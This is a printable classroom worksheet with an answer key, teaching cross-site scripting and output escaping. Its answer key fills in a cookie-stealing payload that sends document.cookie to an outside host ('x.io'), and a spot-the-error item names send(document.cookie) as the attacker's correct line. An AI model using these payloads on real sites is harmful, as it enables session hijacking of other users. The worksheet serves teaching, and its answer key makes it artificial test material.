Cross-site scripting (XSS)

Tip: Choose Save as PDF in the print dialog to download. Use A4 paper size.

Cross-site scripting (XSS)

Name:
Date:
Class:

Quick Questions

Shade in the A or B circle for each question.

1. A student types <script>alert('hi')</script> into a comment box and the page runs it for every visitor. What is this attack called?
A A denial of service attack
B Cross-site scripting (XSS)
2. Why does a script typed into a comment box run in other users' browsers?
A The comment box turns off the browser's security
B The page shows the comment as HTML without cleaning it
3. What might an attacker's script try to steal from a visitor's browser?
A Their session cookie
B The website's server hardware
4. Which is the best way to stop XSS from a comment box?
A Escape the output so < and > show as plain text
B Make the comment box wider
5. After escaping, the comment <script> is shown on the page as what?
A Plain text that the browser displays but does not run
B A working script that runs silently

Match the Pairs

Draw a line connecting each item on the left to its match on the right.

Left columnRight column
1<script>alert('hi')</script> typed in a comment box AThe cookie data a script can read in the browser, which an XSS attack may steal to take over a user's login
2document.cookie B&lt;script&gt; replaces <script>
3Escaping output turns special characters into harmless text so the browser shows them instead of running them CA simple XSS test: if the page shows the comment without cleaning it, the script runs in the browser of anyone who views it
4Cleaning (sanitising) user input before showing it stops untrusted comments from running as scripts Dcomment = escape_html(comment)
5page.show(comment) // comment shown as raw HTML EHiding the box does not fix the cause because stored comments are still output without escaping, so scripts can still run
6Fix for XSS: hide the comment box but still show old comments unescaped FThe page displays untrusted input without cleaning it, so a script in the comment would run in other users' browsers (XSS)

Definitions

XSS

Fill in the Blanks

Complete each line of code by filling in the missing parts.

1.
<______>alert("XSS")</script>
2.
img.src = "x.io/?" + _______________;
3.
// Safe: shows comment as plain text box.___________ = comment;
4.
// Risky: comment is parsed as HTML box._________ = comment;
5.
import html safe = html.______(comment) page = "<p>" + safe + "</p>"

Spot the Error

Shade in the letter of the line that contains an error.

Question 1
A comment ← getInput()
B html ← "<p>" + comment
C show(html)
Question 2
A import html
B c = request.form["comment"]
C safe = c.strip()
D page = "<p>" + safe + "</p>"
Question 3
A <p>Great post!</p>
B <script>
C send(document.title);
D </script>
Question 4
A import html
B name = request.args["name"]
C safe = html.escape("name")
D return f"<h1>Hi {safe}</h1>"
Question 5
A text ← getComment()
B clean ← lowercase(text)
C display(clean)

Answer Key

Cross-site scripting (XSS)
Section A: Quick Questions
Q1
B — Cross-site scripting (XSS)
Q2
B — The page shows the comment as HTML without cleaning it
Q3
A — Their session cookie
Q4
A — Escape the output so < and > show as plain text
Q5
A — Plain text that the browser displays but does not run
Section B: Match the Pairs
Q1
<script>alert('hi')</script> typed in a comment box → A simple XSS test: if the page shows the comment without cleaning it, the script runs in the browser of anyone who views it
Q2
document.cookie → The cookie data a script can read in the browser, which an XSS attack may steal to take over a user's login
Q3
Escaping output turns special characters into harmless text so the browser shows them instead of running them → &lt;script&gt; replaces <script>
Q4
Cleaning (sanitising) user input before showing it stops untrusted comments from running as scripts → comment = escape_html(comment)
Q5
page.show(comment) // comment shown as raw HTML → The page displays untrusted input without cleaning it, so a script in the comment would run in other users' browsers (XSS)
Q6
Fix for XSS: hide the comment box but still show old comments unescaped → Hiding the box does not fix the cause because stored comments are still output without escaping, so scripts can still run
Section C: Definitions
Q1
XSS — An attack where a page shows untrusted input, like a comment, without cleaning it, so the attacker's script runs in other users' browsers and can steal cookies. Escape output to stop it.
Section D: Fill in the Blanks
Q1
<script>alert("XSS")</script>
Q2
img.src = "x.io/?" + document.cookie;
Q3
// Safe: shows comment as plain text box.textContent = comment;
Q4
// Risky: comment is parsed as HTML box.innerHTML = comment;
Q5
import html safe = html.escape(comment) page = "<p>" + safe + "</p>"
Section E: Spot the Error
Q1
B — The comment is untrusted input. Adding it to the page without escaping lets a script typed into the comment box run in other users' browsers. It should be html ← "<p>" + escape(comment).
Q2
C — strip() only removes spaces at the ends of the text. It does not turn < and > into harmless characters, so a script would still run. It should be safe = html.escape(c).
Q3
C — An XSS attacker steals cookies by reading document.cookie. The title is not a secret and would be useless for hijacking an account. It should be send(document.cookie);.
Q4
C — This escapes the fixed text "name" instead of the user's input. The variable name still holds the untrusted value. It should be safe = html.escape(name).
Q5
B — Changing the case does not stop a script tag working. The text must be escaped so < and > are shown as plain characters. It should be clean ← escapeHtml(text).